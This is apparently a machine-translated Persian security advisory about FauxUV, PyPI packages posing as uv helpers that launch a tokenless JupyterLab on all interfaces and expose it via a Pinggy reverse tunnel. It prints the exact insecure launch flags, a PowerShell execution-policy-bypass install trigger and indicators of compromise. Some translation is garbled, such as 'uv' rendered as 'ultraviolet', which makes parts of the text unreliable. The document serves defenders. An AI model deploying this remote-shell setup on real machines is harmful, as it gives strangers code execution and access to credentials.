TL؛ DR
یک خوشه از بستههای PyPI نام ... را قرض گرفته است. uv، مدیر بسته پایتون سریع و بسیار محبوب مبتنی بر Rust، به عنوان کمککنندههای uv ظاهر میشوند. آنها تقریباً هیچ قابلیت واقعی ارائه نمیدهند. در عوض، چیزی که حمل میکنند یک payload ویندوز است که ... سرور JupyterLab با احراز هویت خاموش و در نسخههای بعدی، آن را از طریق یک تونل معکوس در اینترنت عمومی منتشر میکند.
کل داستان در یک سطر خلاصه میشود: نام یک ابزار قابل اعتماد به عنوان طعمه، و JupyterLab به عنوان موتور اجرای کد از راه دور. یک سرور ژوپیتر هر کدی را که شما در آن تایپ میکنید، اجرا میکند.ebook سلول؛ سلولی که با یک توکن خالی راهاندازی شده و به هر رابط شبکه متصل است، یک مفسر باز است که هر کسی که بتواند به پورت دسترسی پیدا کند، میتواند آن را هدایت کند.
ما خوشه را به صورت زیر ردیابی میکنیم فو یوویدو بسته مورد بررسی عبارتند از moon-uv (0.0.1-0.0.16) و my-magic-uv-helper (0.0.1)، که توسط همان اپراتور منتشر شده و در زمان تحلیل روی PyPI فعال است.
| اکوسیستم | PyPI |
| بسته | moon-uv (0.0.1-0.0.16)، my-magic-uv-helper (0.0.1) |
| پلتفرم هدف | ویندوز |
| رفتار اصلی | سرور JupyterLab احراز هویت نشده، که از طریق یک تونل معکوس در اینترنت منتشر شده است |
| سوءاستفاده از ابزارهای مشروع | اشعه ماوراء بنفش، JupyterLab، cloudflared، Pinggy |
جذابیت: نامی که از قبل به آن اعتماد دارید
uv یکی از ابزارهای پایتون است که در دو سال گذشته بیشترین نصب را داشته است، بنابراین «کمکی برای» uv«بستهای است که یک توسعهدهنده بدون هیچ تردیدی نصب میکند. FauxUV اعتبار خود را کاملاً روی همین نام خرج میکند. بستهها واقعی uv نصبکننده از Astral - URL های موجود در payload به میزبانهای واقعی و معتبر اشاره میکنند - بنابراین با نگاهی سریع چیزی جز ارجاعات قابل اعتماد نمیبینید. هیچ یک از بستهها در واقع چیزی اضافه نمیکنند uv عملکرد؛ نام، تماماً پوشش است.
JupyterLab به عنوان موتور RCE
بخش مرکزی این بدافزار، یک لانچر است که با برداشتن تمام گاردریلها، JupyterLab را اجرا میکند:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it هر پرچم یک لایه حفاظتی را از بین میبرد، و اسکریپت ارسال شده حتی آنها را (به زبان چینی اصلی) حاشیهنویسی میکند: توکن خالی «بررسی رمز عبور و توکن را غیرفعال میکند — هر کسی میتواند متصل شود.» آزمایشگاه ژوپیتر یک IDE معتبر برای علوم داده است، اما نهebook سلول کد دلخواه را طبق طراحی اجرا میکند. به این صورت پیکربندی شده و به آن مقید شده است 0.0.0.0، دیگر یک IDE نیست و به یک پوستهی راه دورِ احراز هویت نشده روی میزبان تبدیل میشود - هیچ فایل باینری بدافزار سفارشی لازم نیست، فقط یک ابزار رایج که به مسیر اشتباه اشاره میکند.
دو قطعهی پشتیبان، آن را قابل دسترسی و تکرارپذیر میکنند:
- یک ماشه نصب بیصدا. نسخههای اولیه PowerShell را اجرا میکنند -دور زدن سیاست اجرایی مستقیم از setup.py on نصب پیپ، در پسزمینه با خطاهای سرکوبشده، بنابراین شکستن طبیعی به نظر میرسد. نسخههای بعدی همان شیء اولیه را به یک ... منتقل میکنند. پیپ-یووی ابزار خط فرمان - و اجرای خودکار زمان نصب را به طور کامل حذف کنید.
- یک تونل معکوس عمومی. یک سرور روشن 0.0.0.0 هنوز فقط توسط میزبانهایی که میتوانند به دستگاه مسیردهی کنند، قابل دسترسی است. یک ماژول همراه، یک [Pinggy]( را باز میکند.https://pinggy.io/) تونل معکوس SSH که پورت محلی Jupyter را به یک آدرس عمومی ارسال میکند و آن محدودیت را از بین میبرد. اسکریپت ارسال شده همچنین یک مسیر جایگزین - به صورت کامنت - با استفاده از Cloudflare را حمل میکند. ابری و یک NETSH پورت-پروکسی به یک IP لینود، که هدف یکسانی را از طریق زیرساختهای مختلف مستند میکند.
به طور خلاصه: بسته را نصب کنید، و یک میزبان ویندوز در نهایت یک JupyterLab بدون رمز عبور را اجرا کرده و آن را در اینترنت آزاد منتشر میکند.
چگونه FauxUV تکامل یافت
نسخههای FauxUV به سرعت و پشت سر هم ارسال شدند و نقطه شروع بدافزار از میان آنها عبور کرد - یادآوری اینکه یک نسخه علامتگذاری شده به ندرت کل داستان یک خط بستهبندی را بیان میکند.
| صحنه | نسخه | ماشه | چه چیزی اضافه میکند |
|---|---|---|---|
| قلاب نصب | moon-uv 0.0.1-0.0.3، my-magic-uv-helper 0.0.1 | setup.py روی نصب پیپ | نصب با اشعه ماوراء بنفش + اضافه کردن PATH |
| زمان اجرای CLI | moon-uv 0.0.5-0.0.13 | pip-uv فرمان | لانچر بدون رمز عبور JupyterLab |
| تونل | moon-uv 0.0.14-0.0.16 | pip-uv فرمان | یک تونل معکوس فعال پینگگی |
نکته قابل توجه، اجرای خودکار زمان نصب بود حذف در نسخههای بعدی و توانمندتر - بنابراین یک اسکنر فقط روی چرخه عمر تنظیم میشود hooks نسخههای جدیدتر را به عنوان امتیازدهی میکند کمتر خطرناک، دقیقاً برعکس.
شاخص های سازش
با خواندن سورس بسته تأیید شد؛ نقاط پایانی علامتگذاری شدهاند نظر در فایلها وجود دارند اما توسط نسخه تحلیلشده اجرا نمیشوند. نشانگرهای شبکه غیرفعال شدهاند.
| نوع | شاخص |
|---|---|
| دستور نصب | powershell -ExecutionPolicy Bypass دریافت نصاب اصلی UV، در زمان نصب pip |
| پرچمهای JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| تونل معکوس (فعال) | free[.]pinggy[.]io:443 ارسال محلی 127.0.0.1:8888 |
| میزبان تونل (نظر داده شده) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| آیپی (نظر داده شده) | 45[.]79[.]134[.]161 (لینود) از طریق netsh port-proxy |
| اصرار | وابسته %USERPROFILE%\.local\bin به مسیر کاربر |
سیگنالهای رفتاری که ارزش هشدار دادن دارند، مستقل از این رشتههای دقیق: نصب پیپ که تخم ریزی می کند پاورشل - دور زدن سیاست اجرا؛ هر ژوپیتر ترکیب پرتاب توکن =”” با –آیپی=0.0.0.0و SSH خروجی به *.pingy.io از یک توسعهدهنده یا دستگاه CI.
رفتار مشاهده شده و منشأ
این دو بسته یک نویسنده و یک روش مشترک دارند: نام یک ابزار قابل اعتماد، دروازهبندی مخصوص ویندوز، اجرای پسزمینه با قابلیت سرکوب خطا، و اتکا به ابزارهای معتبر، به طوری که با یک نگاه سریع فقط URL های معتبر را میبیند. منبع شامل نظراتی به زبان چینی است که پرچمهای مرتبط با امنیت را به روشنی توصیف میکنند؛ ما این موارد را به عنوان عبارات قابل مشاهده در فایل گزارش میدهیم، نه به عنوان ادعایی در مورد انگیزه. allow_origin ارزش و یک colab.bat نام فایل، گردشهای کاری غیررسمی «share my local runtime» را که برای Google Colab در گردش هستند، تکرار میکند. منشأ هر چه که باشد، نتیجهی بستهبندیشده یکسان است.
تأثیر و راهنمایی برای مدافعان
چه کسی در معرض FauxUV قرار دارد؟ توسعهدهندگان ویندوز و اجراکنندگان CI که نصب پیپ یکی از این بستهها. یک JupyterLab بدون رمز عبور روی 0.0.0.0 اجرای کد از راه دور برای هر کسی که بتواند به پورت دسترسی پیدا کند؛ تونل محدودیت «چه کسی میتواند به آن دسترسی پیدا کند» را از بین میبرد. سرور به عنوان کاربر نصبکننده اجرا میشود و فایلها، توکنها و اعتبارنامههای ابری آن کاربر را به ارث میبرد.
چرا که به راحتی از دست میرود. هر رشته شبکه به یک میزبان معتبر اشاره میکند - Astral، JupyterLab، ابری، پینگگی، کولب. هیچ فایل باینری بدافزاری برای هش کردن و هیچ فایل مبهمی برای رمزگشایی وجود ندارد. اسکن مبتنی بر اعتبار و امضا، هر دو این موضوع را کماهمیت جلوه میدهند، به همین دلیل است که سوال رفتاری مطرح میشود - نصب این بسته چه کاری را روی دستگاه انجام میدهد؟ - کسی است که آن را میگیرد.
راهنمایی:
- هر زمان نصب را درمان کنید پاورشل - دور زدن سیاست اجرا به عنوان یک سیگنال تغییر ساختار، هر URL که دریافت کند.
- هشدار روشن ژوپیتر با یک توکن خالی راهاندازی شد و –آیپی=0.0.0.0این ترکیب هرگز نباید روی یک ایستگاه کاری یا دونده ظاهر شود.
- نظارت بر SSH خروجی به ارائه دهندگان تونل (*.pingy.io, *.trycloudflare.com) از محیطهای توسعهدهنده و CI.
- نصب uv از [منبع رسمی آن](https://docs.astral.sh/uv/) و نسبت به بستههای «کمکی» شخص ثالث که ابزاری را که نصب آن از قبل ساده است، میپوشانند، تردید داشته باشید.
- وابستگیها را هنگام ارتقا پین کنید و دوباره بررسی کنید - یک خط بسته میتواند نسخه به نسخه قابلیتهای جدید را اضافه کند.



